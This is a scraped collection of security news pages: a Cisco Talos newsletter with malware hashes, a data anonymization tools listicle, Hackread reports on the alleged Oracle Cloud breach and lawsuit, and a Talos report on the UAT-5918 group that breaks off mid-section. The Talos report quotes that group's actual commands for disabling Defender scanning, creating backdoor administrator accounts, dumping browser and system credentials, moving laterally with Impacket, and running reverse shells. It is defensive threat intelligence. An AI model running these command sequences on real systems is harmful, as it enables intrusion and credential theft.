Today, every unpatched system, leaked password, and overlooked plugin is a doorway for attackers. Supply chains stretch deep into the code we trust, and malware hides not just in shady apps — but in job offers, hardware, and cloud services we rely on every day.
Hackers don’t need sophisticated exploits anymore. Sometimes, your credentials and a little social engineering are enough.
This week,

⚡ Weekly Recap: VPN Exploits, Oracle's Silent Breach, ClickFix Surge and More

Hazel highlights the key findings within Cisco Talos’ 2024 Year in Review (now available for download) and details our active tracking of an ongoing campaign targeting users in Ukraine with malicious LNK files.

Thursday, April 3, 2025 14:03

Welcome to this week’s edition of the Threat Source newsletter. 

They say art is subjective, but have you ever seen a well-formatted bar chart? Van Gogh had _Starry Night_, but Talos’ 2024 Year in Review (available now!) has color-coded data with perfect labels. True beauty. 

If you haven’t yet had a chance to fully digest this gorgeous report (massive shout-out to our creative team), here are some links. Clicking on them may not change your life, but what if it does? Only one way to find out: 

Our Year in Review landing page houses all our Year in Review content, from videos to podcasts and topic summaries. There's more content coming out every week this month. Oh, you can also download the report itself here, which is useful. 

Here’s a two-minute animated overview. Watch those bad boy bar charts come to life. 

The TTP: Year in Review Special (Part 1) is inspired by The Last of Us in more ways than you might think. We have a two-part video interview with the report’s authors, featuring me calling cybercriminals “cheeky f\*\*\*\*\*s." Part 2 is coming out tomorrow, April 4th. 

This Beers with Talos B team episode genuinely caused someone to direct message me, citing their spouse’s concerns about their laughter levels when listening (“Are you okay?”). 

A couple of the report’s top findings: 

*   Ransomware actors overwhelmingly leveraged valid accounts for initial access in 2024, with this tactic appearing in almost 70 percent of Cisco Talos Incident Response cases. 
*   Operators endeavored to disable targets’ security solutions in most of the Talos IR cases we observed, almost always succeeding. 
*   Some of the top-targeted network vulnerabilities affect end-of-life (EOL) devices and therefore have no available patches, despite still being actively targeted by threat actors.

**The one big thing **

Cisco Talos is actively tracking an ongoing campaign targeting users in Ukraine with malicious LNK files, which run a PowerShell downloader. The file names use Russian words related to the movement of troops in Ukraine as a lure. Talos assesses with medium confidence that this activity is associated with the Gamaredon threat actor group. 

**Why do I care? **

The invasion of Ukraine is a common theme used by the Gamaredon group in their phishing campaigns and this campaign continues the use of this technique. The actor distributes LNK files compressed inside ZIP archives, usually disguising the file as an Office document and using names that are related to the invasion. 

**So now what? **

Ways our customers can detect and block this threat are listed in this dedicated blog post.

**Top security headlines of the week**

**Gootloader Malware Resurfaces in Google Ads for Legal Docs**: Attackers target law professionals by hiding the infostealer in ads delivered via Google-based malvertising. (Dark Reading) 

**UK threatens £100K-a-day fines under new cyber bill:** The tech secretary revealed the landmark legislation's full details for first time. (The Register) 

**Hacker linked to Oracle Cloud intrusion threatens to sell stolen data**: The alleged breach was linked to a critical vulnerability (Cybersecurity Dive) 

**WordPress attackers hide malware in overlooked plugins directory**: The Must-Use plugins (mu-plugins) directory is used to store essential plugins that are necessary for a site to run properly. (SC Magazine)

**Can’t get enough Talos? **

I mean, bless you if that’s the case, because the Year in Review links in the opening section are probably enough to keep you going. But if you’re still thirsty for more, here’s what the press have been making of the Year in Review findings: 

*   **CNET:** Phishing Emails Aren't as Obvious Anymore. Here's How to Spot Them
*   **The Register**: Ransomware crews add 'EDR killers' to their arsenal - and some aren't even malware
*   **SiliconANGLE**: Cisco Talos report finds identity-based attacks drove majority of cyber incidents in 2024
*   **CyberScoop:** Identity lapses ensnared organizations at scale in 2024

**Upcoming events where you can find Talos**

*   RSA (April 28 – May 1) San Francisco, CA  
*   PIVOTcon (May 7 – 9) Malaga, Spain  
*   CTA TIPS 2025 (May 14 – 15) Arlington, VA  
*   Cisco Live U.S. (June 8 – 12) San Diego, CA

**Most prevalent malware files from Talos telemetry over the past week  **

**SHA 256:** **9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507**   
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507   
Typical Filename: VID001.exe  
Detection Name: Simple\_Custom\_Detection  

**SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91**   
MD5: 7bdbd180c081fa63ca94f9c22c457376  Typical Filename: c0dwjdi6a.dll   VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
Claimed Product: N/A  
Detection Name: Trojan.GenericKD.33515991

**SHA 256:** **5616b94f1a40b49096e2f8f78d646891b45c649473a5b67b8beddac46ad398e1**   
MD5: 3e10a74a7613d1cae4b9749d7ec93515    
VirusTotal: https://www.virustotal.com/gui/file/5616b94f1a40b49096e2f8f78d646891b45c649473a5b67b8beddac46ad398e1   
Typical Filename: IMG001.exe    
Claimed Product: N/A    
Detection Name: Win.Dropper.Coinminer::1201 

**SHA256:** **47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca**  
MD5: 71fea034b422e4a17ebb06022532fdde     
VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca/details  
Typical Filename: VID001.exe     
Claimed Product: N/A     
Detection Name: Coinminer:MBT.26mw.in14.Talos

One mighty fine-looking report

Top Data Anonymization Tools of 2025 to protect sensitive information, ensure compliance, and maintain performance across industries.

Data protection is of the highest importance in 2025. With growing numbers of organizations handling sensitive customer data and stricter data protection regulations emerging around the world, organizations need strong tools for information protection. That’s where data anonymization enters the picture; it covers up or replaces personal data, and even if data leaks, it’s meaningless for hackers.

But not all anonymization software are created equally. Some are fast, some are secure, and some are just user-friendly. Let’s review the best data anonymization software of 2025 below.

****K2view****

If you’re looking for a top-of-the-line anonymization solution, the number one on your list should be K2view. K2view, being one of the best data anonymization tools, doesn’t just scramble data; it restructures data such that it can still be useful for testing and analytics purposes, with total privacy.  

K2view does this by creating “micro-databases” for each record, keeping each customer’s data apart and secure. It doesn’t just encrypt or mask data but also anonymizes it on the fly based on who is viewing it. That leaves developers with realistic test data, analysts with actionable insights, and no one with access to real sensitive data unless they need it.

Speed is also a perk. Unlike other software that slows down systems, K2view is optimized for handling vast databases with no lag. If you’re part of the finance, healthcare, or retail sector, this tool keeps your data secure with no slowing down.

****Privitar****

If your organization is dealing with a number of privacy laws like GDPR, CCPA, or HIPAA, then Privitar is a great choice. Privitar is centered around policy-based anonymization, which is the ability for you to define rules for data anonymization depending on the type of data and the laws involved.

Privitar is special because it can preserve data utility and still make the data private. If, for example, you’re dealing with medical records, it can anonymize the names and addresses of the patients but preserve the important trends for research.

And the best part? It supports the big cloud platforms such as AWS, Azure, and Google Cloud, making it convenient for any size of organization, be it a start-up or a large-scale organization.

****ARX****

Not all companies have a large budget for data privacy software, and that is precisely why ARX fills the gap. ARX is a free, open-source anonymization software that is no less effective when it comes to capabilities.

ARX offers a number of anonymization options, including generalization, suppression, and differential privacy. You can control the quantity of information deleted from the data, making it suitable for data sharing or research purposes without violating the law.

The catch is, it’s not as user-friendly and refined as some of the paid options. But if your team is technologically savvy and can work with a bit of learning curve, ARX is a wonderful free solution for anonymizing data without the cost.

****DataVeil****

If you’re seeking a tool with sole function for anonymization, DataVeil is one that is definitely worth looking at. DataVeil differs from other platforms which integrate anonymization with other data security features because it is specifically intended for masking and obfuscation.

One of its most significant strengths is real-time masking, which can anonymize data as it is being used. This is most suitable for organizations that make use of live databases but still need to protect sensitive information. It supports a number of databases like SQL Server and Oracle, and is thus appropriate for organizations with big data.

The only catch? It’s a bit specialized, and that means if you’re looking for a tool with broader data security features, then you might be required to integrate it with other tools.

****Anonos****

Everything is touched by AI in 2025, data privacy is no exception. Anonos is a game-changing solution that uses AI-driven anonymization for context-dependent protection of data.

For example, if a store would like to analyze customer buying habits without exposing real customer data, Anonos can anonymize the data for each team differently, such that marketing teams can view the patterns and IT teams can view the technical data—without exposing sensitive customer data.

It also possesses the feature of generating synthetic data, i.e., generating fake data sets that behave like real ones, making it suitable for training AI and data science without the fear of data breaches.

****Tonic.ai****

If you’re a software developer, then Tonic.ai is a saviour. The software is meant for creating realistic test data without the use of real personal data.

Developers need test data that mirrors real customer data, but real data is a privacy nightmare. Tonic.ai solves this problem by generating fake, though incredibly accurate, datasets that reflect the structure of real ones. Developers can then test apps without exposing anyone’s personal information.

It is integrated with popular databases and development tools seamlessly, thus being the best solution for software development teams that want to focus on software development rather than being distracted by compliance.

****Which Is the Right Choice for You?****

The anonymization tool of your choice will be determined by what you’re seeking. If a high-performance enterprise solution is what you’re seeking, then choose K2View. If compliance is most important, choose Privitar. If budget is the limiting factor, then ARX is the best free solution. If real-time masking is the answer for you, then DataVeil is the best, with the addition of AI from Anonos. If you’re a developer, then the answer is Tonic.ai.

As data privacy becomes even more critical in 2025, the decision of which anonymization tool is not just a smart one, it’s a necessity.

Image by Stephan Marquardt from Pixabay.

Best Data Anonymization Tools in 2025

Oracle faces a class action lawsuit filed in Texas over a cloud data breach exposing sensitive data of 6M+ users; plaintiff alleges negligence and delays.

The state of Texas is now at the center of a legal firestorm after a class action lawsuit was filed against **Oracle Corporation** over a massive cloud data breach. The complaint, lodged on March 31, 2025, in the U.S. District Court for the Western District of Texas, accuses Oracle of failing to safeguard sensitive information and withholding timely notification to affected individuals.

The breach in question was **first reported by Hackread.com** on March 22, 2025. A hacker using the alias “rose87168” claimed on Breach Forums to have gained access to Oracle’s cloud infrastructure back in January 2025. According to the hacker, the compromised data included encrypted SSO passwords, Java KeyStore (JKS) files, enterprise manager JPS keys, and user credentials linked to Oracle Cloud’s SSO and LDAP systems. The stolen dataset was said to include information tied to around 6 million users.

Oracle has publicly denied the breach, refusing to elaborate further. However, CloudSEK, a cybersecurity firm, conducted its own investigation and claimed to have **found “conclusive evidence” of a breach**. On March 31 2025, the hacker released additional proof on Breach Forums, including internal LDAP records and partial credentials from Oracle’s cloud environment.

A forum administrator reportedly verified the data’s authenticity, although Hackread.com stated it could not independently confirm the breach in full until Oracle provides transparency. However, according to TechMundo’s **report**, it analyzed the data and found it to be legitimate

Additional proof of hack published by the hacker (Credit: Hackread.com)

****Oracle Lawsuit****

The **class action lawsuit** was filed on 31st March 2025 by plaintiff Michael Toikach, a Florida resident, who claims his private information was stored within Oracle’s systems through a healthcare provider that used Oracle’s software. The complaint argues that Oracle failed to meet industry-standard security practices and accuses the company of negligence, breach of fiduciary duty, unjust enrichment, and breach of third-party beneficiary contracts.

Toikach claims he has had to spend considerable time monitoring his financial and medical accounts since the news broke. The lawsuit further states that Oracle failed to comply with Texas state law, which requires organizations to notify affected individuals within 60 days of confirming a breach. Oracle has not made any such notification as of the date of filing.

What raises the stakes is the nature of the compromised data. The complaint highlights that the leak involved not only personally identifiable information (PII) but also sensitive health data. It cites multiple sources, including Bloomberg and HIPAA Journal, which reported that Oracle had begun alerting some healthcare clients, but quietly, about a patient data breach. The hacker’s posts threatened to release the full list of affected companies, offering to exclude specific organizations if they paid to have their employee records removed.

The complaint outlines a long list of alleged failures by Oracle, including the lack of proper encryption, poor network monitoring, and failure to detect or respond to the breach on time. It also points to Oracle’s own public privacy policies, which state that the company would report any breach without undue delay, something the lawsuit claims has not happened.

Screenshot from the court documents (Credit: Hackread.com)

With demands for compensatory damages, credit monitoring services, and reforms to Oracle’s data security infrastructure, the class action is shaping up to be one of the most significant legal challenges Oracle has faced in years. The case is also likely to renew debate over the accountability of cloud service providers and how they handle the sensitive data of clients and their end users.

Oracle has yet to file a response in court.

Oracle Hit with Lawsuit Over Alleged Cloud Breach Affecting Millions

Oracle is caught up in a cybersecurity mess right now, with claims about a massive data breach affecting…

Oracle is caught up in a cybersecurity mess right now, with claims about a massive data breach affecting its cloud infrastructure. Last week, Hackread.com **published an article** based on the findings of cybersecurity firm CloudSEK revealing that a threat actor had stolen 6 million records from Oracle Cloud. The hacker, identified as “**rose87168**“, claimed to have compromised a key Single Sign-On (SSO) endpoint, resulting in the exfiltration of sensitive data including SSO and LDAP credentials, OAuth2 keys, and customer tenant information.

****Oracle’s Firm Denial****

Shortly after the story broke, Oracle issued a categorical denial, making a strong statement that “**There has been no breach of Oracle Cloud**.” The company maintained that the credentials published by the threat actor were not associated with Oracle Cloud and emphasized that no Oracle Cloud customers were affected. This statement directly contradicted the findings of CloudSEK, which had alerted the public and Oracle via formal reports.

****CloudSEK’s Follow-Up Investigation****

However, CloudSEK has doubled down on Oracle’s claims with a new follow-up analysis, presenting what it calls “conclusive evidence” of the breach. In a **blog post**, which the company shared with Hackread.com ahead of its publishing over the weekend, CloudSEK outlined how their researchers detected the threat actor’s activities on March 21, 2025.

According to the cybersecurity firm, they traced the attack to a compromised production SSO endpoint (**login.us2.oraclecloud.com**), which the hacker exploited to steal records from more than 140,000 tenants.

CloudSEK also found evidence that the threat actor had actively used the compromised domain to authenticate API requests via **OAuth2 tokens**, as seen in an archived public GitHub repository under Oracle’s official **"oracle-quickstart"** account. The endpoint was proven to be in use for production purposes, contradicting Oracle’s assertion that the credentials were unrelated to their infrastructure.

****New Evidence: Real Customer Data Confirmed****

One of the most noteworthy pieces of evidence involves real customer domain names that the hacker provided as samples. CloudSEK verified the domains against publicly available data and found that they were, in fact, valid Oracle Cloud customers. Some of the domain names identified include:

*   **sbgtv.com**

*   **nexinfo.com**

*   **nucor-jfe.com**

*   **rapid4cloud.com**

*   **cloudbasesolutions.com**

These domains were present in GitHub repositories and Oracle partner documentation, and CloudSEK confirmed they were not mere dummy or canary accounts. Additionally, the compromised endpoint, **login.us2.oraclecloud.com**, was validated as an active production SSO setup, used in real-world configurations by OneLogin and Rainfocus.

The screenshot shared by CloudSEK shows “login.us2.oraclecloud.com” was a production SSO setup

****The Impact and Concerns****

The impact of this breach, if proven, could be serious. The exposure of 6 million records, including encrypted SSO and LDAP passwords risks unauthorized access, espionage, and data breaches across affected systems. Additionally, the inclusion of JKS files and OAuth2 keys means attackers might gain long-term control over affected services.

CloudSEK warns that the compromised credentials could potentially be cracked and reused in a way that poses further risks to enterprise environments. The hacker is also reportedly demanding **ransom payments** from affected firms to delete the stolen data, amplifying both financial and reputational threats.

****CloudSEK’s Stance: Evidence over Speculation****

In response to Oracle’s denial, Rahul Sasi, CEO of CloudSEK, stated that the company is focused on providing transparency and evidence rather than speculation. CloudSEK has been sharing its findings through public reports and free tools to help organizations assess whether they are affected.

Additionally, Rahul recommends companies change their SSO and LDAP credentials right away and set up multi-factor authentication (MFA) to add extra protection. It’s also important to take a closer look at logs to spot any unusual activity related to the compromised endpoint. Keeping an eye on **dark web forums** for any signs of leaked data is a good move too. On top of that, it’s a good idea to get in touch with Oracle Security to figure out any weak spots and fix them.

****Questions Are Pouring In Already****

Cybersecurity experts are already questioning Oracle’s quick denial. **Chad Cragle**, CISO at Deepwatch, a San Francisco, Calif.-based AI+Human Cyber Resilience Platform stressed that Oracle needs to address the questions raised by CloudSEK to maintain its credibility.

_“_CloudSEK raises a critical point. If there was no breach, how did a threat actor allegedly upload a file to the Oracle Cloud subdomain?_“_ argued Chad. _“_This indicates unauthorized access, even if it wasn’t a full-scale compromise.”

_“_Dismissing the incident without addressing this key detail raises more questions than answers. If Oracle wants to maintain credibility, the company must clarify how the file ended up there, whether any security gaps were exploited, and why the subdomain was taken down,_“_ he added.

**Heath Renfrow**, CISO and Co-founder at Fenix24 a Chattanooga, Tennessee-based cyber disaster recovery firm, expressed concerns about Oracle’s stance on the breach and the threat actor’s ability to upload files within critical infrastructure.

_“_Regardless of Oracle’s position, the presence of a threat actor-uploaded file in the webroot of what appears to be an Oracle Cloud Infrastructure (OCI) login subdomain is deeply concerning,_“_ said Health. _“_This detail, coupled with the public availability of sensitive data on forums, raises valid questions about the scope of compromise and whether customers with federated login configurations could be at risk._“_

Hackread.com has reached out to Oracle. Stay tuned for updates!

CloudSEK Disputes Oracle Over Data Breach Denial with New Evidence

Oracle denies breach claims as hacker alleges access to 6 million cloud records. CloudSEK reports a potential zero-day exploit affecting 140,000 tenants.

A recent investigation by CloudSEK’s XVigil platform has uncovered a cyberattack targeting Oracle Cloud, resulting in the exfiltration of six million records and potentially affecting over 140,000 tenants. Reportedly, a threat actor, identified as ‘rose87168,’ perpetrated this attack that involved the theft of sensitive data, including JKS files, encrypted SSO passwords, key files, and enterprise manager JPS keys, which are now being sold on Breach Forums and other dark web forums.

The attacker, active since January 2025, claims to have compromised a subdomain login.us2.oraclecloud.com, which has since been taken down. This subdomain was found to be hosting Oracle Fusion Middleware 11G, as evidenced by a Wayback Machine capture from February 17, 2025. They are demanding ransom payments from affected tenants for the removal of their data and have even offered incentives for assistance in decrypting the stolen SSO and LDAP passwords.

CloudSEK’s analysis indicates that the threat actor may have compromised a vulnerable version of Oracle Cloud servers, potentially leveraging an older flaw, CVE-2021-35587, which affects Oracle Fusion Middleware (OpenSSO Agent) with the following identified as the impacted versions:

*   11.1.2.3.0
*   12.2.1.3.0
*   12.2.1.4.0

This CVE, added to the CISA KEV catalogue in December 2022, allows unauthenticated attackers to compromise Oracle Access Manager, potentially leading to a complete takeover. This aligns with the type of data exfiltrated and shared by the attacker. Its exploitation could allow attackers to gain initial access to the environment and then move laterally within the Oracle Cloud environment to access other systems and data. Further investigation revealed that the Oracle Fusion Middleware server was last updated around September 27, 2014, indicating outdated software.

“Due to lack of patch management practices and/or insecure coding, the vulnerability in Oracle Fusion Middleware was exploited by the threat actor. This easily exploitable vulnerability allows an unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager,” CloudSEK researchers noted in the blog post shared exclusively with Hackread.com.

However, Oracle has issued a statement denying any breach of its cloud infrastructure. “There has been no breach of Oracle Cloud. The published credentials are not for the Oracle Cloud. No Oracle Cloud customers experienced a breach or lost any data,” Oracle stated in response to the reports. This directly contradicts CloudSEK’s findings and the attacker’s claims.

Nonetheless, if it occurred the breach’s impact could be substantial as the exposure of a whopping six million records raises the risk of unauthorized access and corporate espionage. The exfiltration of JKS files is most concerning as these contain cryptographic keys, which could be used to decrypt sensitive data or gain access to other systems within the affected organizations. Moreover, the compromise of encrypted SSO and LDAP passwords could lead to further breaches across Oracle Cloud environments. The use of a zero-day vulnerability also raises concerns about the overall security of Oracle Cloud.

CloudSEK recommends immediate credential rotation, thorough incident response and forensics, continuous threat intelligence monitoring, and engagement with Oracle Security for verification and mitigation. They also advise strengthening access controls to prevent future incidents.

Oracle Denies Breach Amid Hacker’s Claim of Access to 6 Million Records

UAT-5918, a threat actor believed to be motivated by establishing long-term access for information theft, uses a combination of web shells and open-sourced tooling to conduct post-compromise activities to establish persistence in victim environments for information theft and credential harvesting.

By Jung soo An, Asheer Malhotra, Brandon White, and Vitor Ventura.

*   Cisco Talos discovered a malicious campaign we track under the UAT-5918 umbrella that has been active since at least 2023. 
*   UAT-5918, a threat actor believed to be motivated by establishing long-term access for information theft, uses a combination of web shells and open-sourced tooling to conduct post-compromise activities to establish persistence in victim environments for information theft and credential harvesting. 
*   We assess that UAT-5918's post-compromise activity, tactics, techniques, and procedures (TTPs), and victimology overlaps the most with Volt Typhoon, Flax Typhoon, Earth Estries, and Dalbit intrusions we’ve observed in the past.

**UAT-5918’s activity cluster****Overview **

Talos assesses with high confidence that UAT-5918 is an advanced persistent threat (APT) group that targets entities in Taiwan to establish long-term persistent access in victim environments. UAT-5918 usually obtains initial access by exploiting N-day vulnerabilities in unpatched web and application servers exposed to the internet. The threat actor will subsequently use a plethora of open-source tools for network reconnaissance to move through the compromised enterprise. 

The activity that we monitored suggests that the post-compromise activity is done manually with the main goal being information theft. Evidently, it also includes deployment of web shells across any discovered sub-domains and internet-accessible servers to open multiple points of entry to the victim organizations. UAT-5918's intrusions harvest credentials to obtain local and domain level user credentials and the creation of new administrative user accounts to facilitate additional channels of access, such as RDP to endpoints of significance to the threat actor.

Typical tooling used by UAT-5918 includes networking tools such as FRPC, FScan, In-Swor, Earthworm, and Neo-reGeorg. Credential harvesting is accomplished by dumping registry hives, NTDS, and using tools such as Mimikatz and browser credential extractors. These credentials are then used to perform lateral movement via either RDP, WMIC (PowerShell remoting), or Impacket. 

**UAT-5918 activity cluster overlapping **

UAT-5918's tooling and TTPs overlap substantially with several APT groups including Volt Typhoon, Flax Typhoon and Dalbit. 

Figure 1. UAT-5918 TTPs and tooling overlaps with similar APT groups.

There is a significant overlap in post-compromise tooling and TTPs with Volt Typhoon, such as using ping and tools like In-Swor for network discovery; gathering system information such as drive and partition; gathering logical drive information such as names, IDs, size, and free spaces; credential dumping from web browser applications; using open-source tools such as frp, Earthworm, and Impacket for establishing control channels; and the absence of custom-made malware. The U.S. government assesses that Volt Typhoon is a PRC state-sponsored actor conducting cyberattacks against U.S. critical infrastructure. 

Multiple tools used in this intrusion also overlap with tooling used by Flax Typhoon in the past, such as the Chopper web shell, Mimikatz, JuicyPotato, Metasploit, WMIC and PowerShell, along with the use of tactics such as relying on RDP and other web shells to persist in the enterprise and WMIC for gathering system information. The U.S. government attributes Flax Typhoon, a Chinese government-sponsored threat actor, to the Integrity Technology Group, a PRC-based company.

Additionally, tooling such as FRP, FScan, In-Swor, and Neo-reGeorg, as well as filepaths and names used by UAT-5918, overlap with those used by Tropic Trooper. Tropic Trooper’s malware suite, specifically Crowdoor Loader and SparrowDoor, overlap with the threat actors known as Famous Sparrow and Earth Estries. We have also observed overlaps in tooling and tactics used in this campaign operated by UAT-5918 and in operations conducted by Earth Estries, including the use of FRP, FScan, Webshells, Impacket, living-off-the-land binaries (LoLBins), etc. Furthermore, we’ve discovered similar tooling between UAT-5918 and Dalbit consisting of port scanners, proxying tools, reverse shells, and reconnaissance TTPs.

It is worth noting that a sub-set of tools UAT-5918 uses such as LaZagne, SNetCracker, PortBrute, NetSpy etc., have not been seen being used by the aforementioned threat actors in public reporting. It is highly likely that this tooling might be exclusively used by UAT-5918 or their usage by other related groups may have been omitted in publicly available disclosures. 

**Victimology and targeted verticals **

UAT-5918 also overlaps with the previously mentioned APT groups in terms of targeted geographies and industry verticals, indicating that this threat actor’s operations align with the strategic goals of the aforementioned set of threat actors. 

We have primarily observed targeting of entities in Taiwan by UAT-5918 in industry verticals such as telecommunications, healthcare, information technology, and other critical infrastructure sectors. Similar verticals and geographies have also been targeted by APT groups such as Volt Typhoon, Flax Typhoon, Earth Estries, Tropic Trooper, and Dalbit. 

**Initial access and reconnaissance **

UAT-5918 typically gains initial access to their victims via exploitation of known vulnerabilities on unpatched servers exposed to the internet. Activity following a successful compromise consists of preliminary reconnaissance to identify users, domains, and gather system information. Typical commands executed on endpoints include: 

ping <IP> 
net user 
systeminfo 
arp –a 
route print 
tasklist 
tasklist -v 
netstat -ano 
whoami 
ipconfig 
query user 
cmd /c dir c:\\users\\<username>\\Desktop 
cmd /c dir c:\\users\\<username>\\Documents 
cmd /c dir c:\\users\\<username>\\Downloads 

 Initial credential reconnaissance is carried out using the cmdkey command: 

cmdkey /list 

The threat actor then proceeds to download and place publicly available red-teaming tools (illustrated in subsequent sections) on endpoints to carry out further actions. In some cases, UAT-5918 also disabled Microsoft Defender’s scanning of their working directories on disk: 

powershell.exe -exec bypass Add-MpPreference -ExclusionPath <working\_directory> 
powershell Get-MpPreference 

**Post-compromise tooling **

UAT-5918's post-compromise tooling consists of web shells, some of which are publicly available, such as the Chopper web shell, multiple red-teaming and network scanning tools, and credentials harvesters.

**Reverse proxies and tunnels **

The actor uses FRP and Neo-reGeorge to establish reverse proxy tunnels for accessing compromised endpoints via attacker controlled remote hosts. The tools are usually downloaded as archives and extracted before execution:

The Earthworm (ew) tool for establishing proxies is also run: 

**Port scanning **

FScan is a port and vulnerability scanning tool that can scan ranges of IP addresses and Ports specified by the attackers:

Talos has observed the actor scanning of these ports in particular: 

 21 22 80 81 83 91 135 443 445 888 808 889 5432 8000 8080 54577 11211

The threat actor also relies extensively on the use of In-Swor, a publicly available tool authored and documented by Chinese speaking individuals, for conducting port scans across ranges of IP addresses. A sample command of In-Swor's use is: 

Run\[.\]exe -h <ip\_range>/24 -nopoc -pwdf pw\[.\]txt -p 1521,6379 -t 4 

In-Swor was used to scan for the following ports across IP address ranges: 

22		SSH 
80		HTTP 
135		RPC 
445		SMB 
1433		SQL server 
1521		Oracle DBs 
3306		MySQL 
3389		RDP 
4194 		Kubernetes? 
5432 		PostgreSQL 
5900 		VNC 
6379 		Redis 
10248 	    ? 
10250 	    Kubernetes 
10255 	    MongoDB 

In other instances, In-Swor was used to establish proxy channels:

svchost\[.\]exe proxy -l \*:22 -k 9999   
svchost\[.\]exe proxy -l \*:443 -k 9999   
svchost\[.\]exe proxy -hc -l \*:443 -k 99997654    
svchost\[.\]exe -hc proxy -l \*:443 -k 99997654    
svchost\[.\]exe proxy -l 443 –v 

 svchost\[.\]exe -type server -proto tcp -listen :443    
svchost\[.\]exe -type server -proto http -listen :443    
svchost\[.\]exe -type server -proto rhttp -listen :443 

In addition to FScan, PortBrute, another password brute forcer for multiple protocols such as FTP, SSH, SMB, MYSQL, MONGODB, etc., was also downloaded and used:

PortBruteWin(5).exe -up <username>:<password> 

**Additional network reconnaissance **

The threat actor uses two utilities for monitoring the current connection to the compromised hosts — NirSoft's CurrPorts utility and TCPView. Both tools are likely used to perform additional network discovery to find accessible hosts to pivot to: 

C:\\Users\\<compromised\_user>\\Desktop\\cports-x64/cports.exe   
C:\\Users\\<compromised\_user>\\Desktop\\TCPView\\tcpview64.exe 

The threat actor also uses PowerShell-based scripts to attempt SMB logins to specific endpoints already identified by them:

powershell\[.\]exe -file C:\\ProgramData\\smblogin-extra-mini.ps1 

Netspy, another tool authored and documented by Chinese speaking individuals, is a network segmentation discovery tool that UAT-5918 employs occasionally for discovery. The fact that the operator had to check the tool help denotes the lack of automation and the unusual usage of such tool:

netspy\[.\]exe -h 

**Gathering local system information **

The attackers may also gather commands to profile the endpoint and its drives:

wmic diskdrive get partitions /value    
fsutil fsinfo drives    
wmic logicaldisk get DeviceID,VolumeName,Size,FreeSpace    
wmic logicaldisk get DeviceID,VolumeName,Size,FreeSpace /format:value 

**Maintaining persistent access to victims **

The threat actor attempts to deploy multiple web shells on systems they find are hosting web applications. The web shells are typically ASP or PHP-based files placed deep inside housekeeping directories such as image directories, user files etc. 

The threat actor uses JuicyPotato’s (a privilege escalation tool) web shell variant that allows JuicyPotato to act as a web shell on the compromised system accepting commands from remote systems to execute:

JuicyPotato is then run to spawn cmd\[.\]exe to run a reverse shell that allows the threat actor to run arbitrary commands: 

Run.exe -t t -p c:\\windows\\system32\\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 

UAT-5918 will also use PuTTY’s pscp tool to connect to and deliver additional web shells to accessible endpoints (likely servers) within the network:

pscp\[.\]exe <web\_shell> <user>@<IP>:/var/www/html/<web\_shell> 

Furthermore, Talos has observed UAT-5918 execute reverse Meterpreter shells to maintain persistent access to the compromised hosts:

C:\\ProgramData\\bind.exe 

C:\\ProgramData\\microbind.exe 

C:\\ProgramData\\reverse.exe 

cmd /c C:/ProgramData/microbind.exe 

**Backdoored user account creation **

UAT-5918 regularly creates and assigns administrative privileges to user accounts they’ve created on compromised endpoints: 

net user <victimname\_username> <password> /add   
net localgroup administrators <username> /add   
net group domain admins <username> /add /domain 

Credential harvesting is a key tactic in UAT-5918 intrusions, instrumented via the use of tools such as Mimikatz, LaZagne, and browser credential stealers: 

**Mimikatz**: A commonly used credential extractor tool is run to obtain credentials from the endpoint:

**LaZagne**: LaZagne is an open-sourced credential extractor: 

C:/ProgramData/LaZagne.exe   
C:/ProgramData/LaZagne.exe -all >> laz.txt 

**Registry dumps**: The “reg” system command is used to take dumps of the SAM, SECURITY and SYSTEM hives:

**Google Chrome information**: The adversary also uses a tool called BrowserDataLite, a tool to extract Login information, cookies, and browsing history from web browsers. The extracted information is subsequently accessed via notepad\[.\]exe: 

BrowserDataLite\_x64.exe 

 C:\\Windows\\system32\\NOTEPAD.EXE Chrome\_LoginPass.txt   
C:\\Windows\\system32\\NOTEPAD.EXE Chrome\_Cookies.txt   
C:\\Windows\\system32\\NOTEPAD.EXE Chrome\_History.txt 

**SNETCracker**: A .NET-based password cracker (brute forcer) for services such as SSH, RDP, FTP, MySQL, SMPT, Telnet, VNC, etc.: 

Finding strings related to credentials such as: 

findstr /s /i /n /d:C:\\ password \*.conf 

**Pivoting to additional endpoints **

UAT-5918 consistently attempts to gain access to additional endpoints within the enterprise. They will perform network reconnaissance cyclically to discover new endpoints worth pivoting to and make attempts to gain access via RDP or Impacket: 

mstsc.exe -v <hostname> 

Impacket was also used on multiple occasions to pivot into additional endpoints and copy over tools: 

python wmiexec\[.\]py Administrator:<password>@<IP> -codec big5 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\ADMIN$\\\_\_<timestamp> 2>&1 

 cmd\[.\]exe /Q /c echo python wmiexec\[.\]py Administrator:<password>@<IP> -codec big5 ^> \\\\<hostname>\\C$\\\_\_output 2^>^&1 > C:\\Windows\\jFcZpIUm\[.\]bat & C:\\Windows\\system32\\cmd\[.\]exe /Q /c C:\\Windows\\jFcZpIUm\[.\]bat & del C:\\Windows\\jFcZpIUm\[.\]bat 

 cmd\[.\]exe /Q /c net use \[\\\]\[\\\]<IP>\\c$ /user:<username> 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1   
cmd\[.\]exe /Q /c dir \[\\\]\\\[\\\]<IP>\\c$ 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1    
cmd\[.\]exe /Q /c copy fscan64\[.\]exe \[\\\]\[\\\]<IP>\\c$\\ 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1    
